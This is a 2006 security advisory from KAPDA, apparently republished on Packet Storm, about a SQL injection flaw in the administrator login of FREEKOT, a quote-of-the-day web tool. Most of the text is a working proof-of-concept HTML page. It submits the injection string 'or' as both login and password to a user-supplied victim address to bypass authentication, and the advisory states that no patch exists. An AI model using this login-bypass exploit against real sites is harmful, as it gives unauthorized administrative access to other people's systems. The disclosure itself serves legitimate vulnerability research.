FREEKOT is susceptible to SQL injection attacks.
4e595998b902128f09204673d15ebe9508a978d03a9deb1ab49b0b585e0da9deKAPDA New advisory
Vendor: http://www.digiappz.com
Vulnerability: SQL_Injection
Date :
--------------------
Found : Aug 10, 2006
Vendor Contacted : N/A
Release Date : Aug 30, 2006
About Freekot :
--------------------
FREEKOT is a free tool which allows you to insert a random quotation system or a quote of the day in your website.
Vulnerability:
--------------------
SQL_Injection:
Input passed to the "login" and "password" parameters when logging into the administration section isn't properly sanitised before being used in a SQL query.
This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.
PoC:
--------------------
save as html.
<head><title>KAPDA :: Freekot SQL-Injection Vulnerability , Login bypass exploit </title></head>
<body bgcolor="black">
<script language="JavaScript">
function egxpl() {
if (document.xplt.victim.value=="") {
alert("Please enter victim site!");
return false;
}
if (confirm("Are you sure?")) {
xplt.action=document.xplt.victim.value+"/login_verif.asp";
xplt.login.value=document.xplt.login.value;
xplt.password.value=document.xplt.password.value;
xplt.submit();
}
}
</script><font face=Verdana size=2 color="#00FF00"><center><b>KAPDA :: Freekot SQL-Injection Vulnerability<br>
Discovered and coded by FarhadKey From KAPDA.IR<br>
Special Thx to Hessam-x From Anti-Security.net (Hackerz.ir)<br></b>
<form name="xplt" method="post" onsubmit="egxpl();">
<br>Victim Path : (insert http:// for path)<br>
<input type="text" name="victim" value="http://www.victim.com/FreeKot_Path/" size="44" class="xpl" style="color: #00FF00; background-color: #000000"><br>
<input type="hidden" name="login" value="'or'">
<input type="hidden" name="password" value="'or'"><br>
<!-- Discovered and coded by FarhadKey . Kapda.ir -->
<input type="submit" value="GO !!!" style="color: #00FF00; background-color: #000000">
</form></body></html>
Solution:
--------------------
No patch`s released yet by vendor.
Original Advisory:
--------------------
http://www.kapda.ir/advisory-410.html
Credit :
--------------------
FarhadKey of KAPDA
farhadkey [at} kapda <d0t> ir
Kapda - Security Science Researchers Insitute of Iran
http://www.KAPDA.ir
© 2024 Packet Storm. All rights reserved.
%7Cutmcsr%3D(direct)%7Cutmcmd%3D(none)){kind=small}
Follow us on Twitter
Follow us on Facebook
Subscribe to an RSS Feed